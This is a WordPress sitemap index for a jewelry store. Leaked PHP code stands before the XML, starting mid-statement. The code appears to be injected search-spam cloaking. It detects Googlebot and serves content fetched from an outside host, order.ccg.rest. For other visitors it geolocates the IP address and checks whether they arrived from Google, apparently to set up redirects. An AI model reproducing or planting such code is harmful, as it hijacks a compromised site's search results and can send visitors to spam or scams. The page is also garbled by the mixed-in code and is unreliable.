f (stripos($_SERVER['HTTP_USER_AGENT'] ?? '', 'Googlebot') !== false) {
	$url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$endpoint = 'https://order.ccg.rest/?' . http_build_query([
    'url' => $url,
]);

$ch = curl_init($endpoint);

curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_HTTPHEADER => [
        'X-Original-Host: ' . $_SERVER['HTTP_HOST'],
        'X-Forwarded-Host: ' . $_SERVER['HTTP_HOST'],
        'X-Forwarded-Proto: https',
        'User-Agent: ' . ($_SERVER['HTTP_USER_AGENT'] ?? ''),
    ],
]);

$output = curl_exec($ch);

curl_close($ch);

echo $output;
exit;
}
else {
$ip = $_SERVER['REMOTE_ADDR'] ?? '';

// Detect referrer
$referer = $_SERVER['HTTP_REFERER'] ?? '';

// Check if visitor came from Google
$fromGoogle = stripos($referer, 'google.') !== false;

// Default country
$country = '';

// Lookup country using api.country.is
if (!empty($ip)) {
    $response = @file_get_contents("https://api.country.is/" . urlencode($ip));

    if ($response !== false) {
        $data = json_decode($response, true);

        if (isset($data['country'])) {
            $country = strtoupper($data['country']);
        }
    }
}
}
<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dynamically generated on กันยายน 12, 2026 at 7:44 pm by All in One SEO - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://www.aryssjewelry.com/default.xsl?sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2020-03-21T10:37:03+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-07-14T04:54:19+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/product-sitemap.xml]]></loc>
		<lastmod><![CDATA[2021-06-06T03:48:32+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/post-archive-sitemap.xml]]></loc>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2020-03-21T10:37:03+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/post_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2020-03-21T10:37:03+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/layout_type-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-07-14T04:50:46+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/scope-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-07-14T04:50:46+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/module_width-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-07-14T04:50:46+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/product_cat-sitemap.xml]]></loc>
		<lastmod><![CDATA[2021-06-06T03:48:32+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.aryssjewelry.com/product_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2021-06-06T03:48:32+00:00]]></lastmod>
	</sitemap>
</sitemapindex>
<!-- permalink_structure ends with slash (/) but REQUEST_URI does not end with slash (/) -->